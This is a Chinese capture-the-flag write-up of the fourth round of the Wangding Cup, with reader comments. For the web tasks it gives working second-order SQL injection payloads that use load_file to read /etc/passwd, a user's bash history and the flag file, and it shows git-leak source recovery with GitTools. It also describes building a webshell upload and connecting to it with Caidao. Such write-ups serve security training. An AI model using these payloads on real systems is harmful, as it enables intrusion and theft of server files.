网鼎杯第四场wp
网鼎杯第四场,完全被虐着打,根本就打不过,
1、签到题
2、comment
爆破得到账号密码 zhangwei zhangwei666
同时发现git 泄露 get 源代码。发现write_do.php 中很一个很有意思的地方
然后发现可以构成二次注入:
思路是这样的
1、 观察了一下发现是两张表 board 、comment
首先写评论的时候数据写到board 然后再次评论的时候 category这个变量会从 board
表中读取然后构成二次注入
如下图:
也就是说comment 中的category 字段是直接取 board字段。构造成二次注入。
比如说在board 表中写入一段
如下:
‘, content=user(),/* 然后 评论的时候 只需要闭合这个就OK
‘, content=user(),/**/# 就可以查询到当前的user
那么测试吧=。=
首先读取一下passwd
‘,content=(select load_file(‘//etc/passwd’)),/*
触发的话只需在评论中评论*/# 如下:
发现一个www用户 看看用户的命令记录
‘,content=(select load_file(‘//home/www/.bash_history’)),/*
执行了如下:
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
那么查询.DS_Store 是什么东西
‘,content=(select hex(load_file(‘//tmp/html/.DS_Store’))),/*
得到hex
解密一下
http://www.ab126.com/goju/1711.html
得到如下:
读取一下flag
‘,content=(select hex(load_file(‘//var/www/html/flag_8946e1ff1ee3e40f.php’))),/*
得到如下:
flag{cf275fbb-4435-4d5b-a229-4207e425649e}
3.blog
是一个wp 的程序。看到第二篇博客发现有一个很意思的ssrf 各种尝试之后呢。在github 搜索关键词找到了相关的信息
真的是很皮啊
访问http://xxx/WD_UserListAPI.php 存在 之后列举出UID 得到正确结果为233 得到flag
4、shenyue
这是一个送分题
5、双色块
binwalk 分析了一下,分离了出了图片
得到一张png 图片
分离gif 得到576张图片。 一开始以为是二维码,然后一直捣鼓二维码。最后朋友提示说是二进制的格式
图片上的绿色为0 紫色为1 转换 。 尝试了绿色为1 和紫色为0 发现 绿色为0 紫色为1 可以转换
用python 解开之后是一大串的二进制
得到o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh
各种尝试无果之后去掉 后面hhhhhhhhhh 可能是那个加密的key
然后进行des解密如下:
flag{2ce3b416457d4380dc9a6149858f71db}
6、NoWafUpload
扫描发现备份文件中有一个www.zip 一个so 文件一个php 文件
上传一个php文件发现是一个phpinfo 好无奈啊
然后就一脸懵逼
尝试分析一波So文件 发现
首先是一个zlib 的压缩,MD5验证 。最后使用了异或0xc
写了 一个蹩脚的脚本
使用winhex 构造新的文件、分为四个部分
1、密文的md5值
2. 一句话木马长度的16进制补齐长度
3、密文长度十六进制、补齐长度
4.密文
菜刀上去
7、shanghai
这个看起来就像是维尼亚密码
因为不晓得密码。所以一直很纠结,密码是什么,然后猜呗、
看看i春秋 是不 密码
然后用这个然后看题目上海。然后又有点迷糊
最后没办法。只能一个个尝试,无意中想到啊icq + 维尼亚
icqvigenere
神奇的是竟然解密成功 我靠。神仙啊。
**上面这些都是娱乐一下。密码是队友发给我的。=。= **
=。= 破解网址
https://guballa.de/vigenere-solver
。。。破解出来就是这个密码 。flag 直接ctrl+F 查询一下就OK
希望师傅们不要怼这个=。= 真没啥怼的。凭空想的flag 的剧情明天可能就上演了
发现flag
flag{vigenereisveryeasyhuh}
Grow
2018年8月30日 上午10:44
大佬是妹子吗
caiji
2018年8月30日 下午1:26
表哥,按照payload构造出的sql语句如下
insert into comment set category=”,content=user(),/*content=’*/#,bo_id=id;,本地测试了下报错(感觉是user()后面逗号的问题),但在耙机上提交payload却能获取数据,相反删掉逗号提交payload获取不到数据,是哪里姿势不对吗?
print("")
2018年8月30日 下午9:41
你看看我插入的这条数据。你本地执行一下
insert into comment set category=’111′,content=(SELECT user())/*count=”*/#,id=12
caiji
2018年8月31日 上午10:07
好吧,是换行的问题
print("")
2018年8月31日 上午10:27
也不是换行的问题。你的语法不对。
caiJi
2018年9月1日 上午10:22
表哥给个联系方式吧,邮箱这个:zhangwuwu@protonmail.com
print("")
2018年9月1日 下午12:57
print@dafsec.org
aoermumu
2018年8月30日 下午5:09
大佬,comment那题.git泄露,我下载下来的代码不全,缺少过程,请问是怎么得到真实的源码的
print("")
2018年8月30日 下午9:28
https://github.com/internetwache/GitTools 利用这个工具
Dumper/gitdumper.sh http://xxx.xxx/.git/ temp
Extractor/extractor.sh temp temp2
cd temp2
root@kali:~/GitTools-master/liang2# tree .
.
├── 0-5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
│ ├── commit-meta.txt
│ └── write_do.php
├── 1-bfbdf218902476c5c6164beedd8d2fcf593ea23b
│ ├── commit-meta.txt
│ └── write_do.php
└── 2-e5b2a2443c2b6d395d06960123142bc91123148c
├── commit-meta.txt
└── write_do.php
得到完整代码
0){
$category = mysql_fetch_array($result)[‘category’];
$content = addslashes($_POST[‘content’]);
$sql = “insert into comment
set category = ‘$category’,
content = ‘$content’,
bo_id = ‘$bo_id'”;
$result = mysql_query($sql);
}
header(“Location: ./comment.php?id=$bo_id”);
break;
default:
header(“Location: ./index.php”);
}
}
else{
header(“Location: ./index.php”);
}
?>
print("")
2018年8月30日 下午9:26
https://github.com/internetwache/GitTools 利用这个工具
Dumper/gitdumper.sh http://xxx.xxx/.git/ temp
Extractor/extractor.sh temp temp2
cd temp2
root@kali:~/GitTools-master/liang2# tree .
.
├── 0-5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
│ ├── commit-meta.txt
│ └── write_do.php
├── 1-bfbdf218902476c5c6164beedd8d2fcf593ea23b
│ ├── commit-meta.txt
│ └── write_do.php
└── 2-e5b2a2443c2b6d395d06960123142bc91123148c
├── commit-meta.txt
└── write_do.php
得到完整代码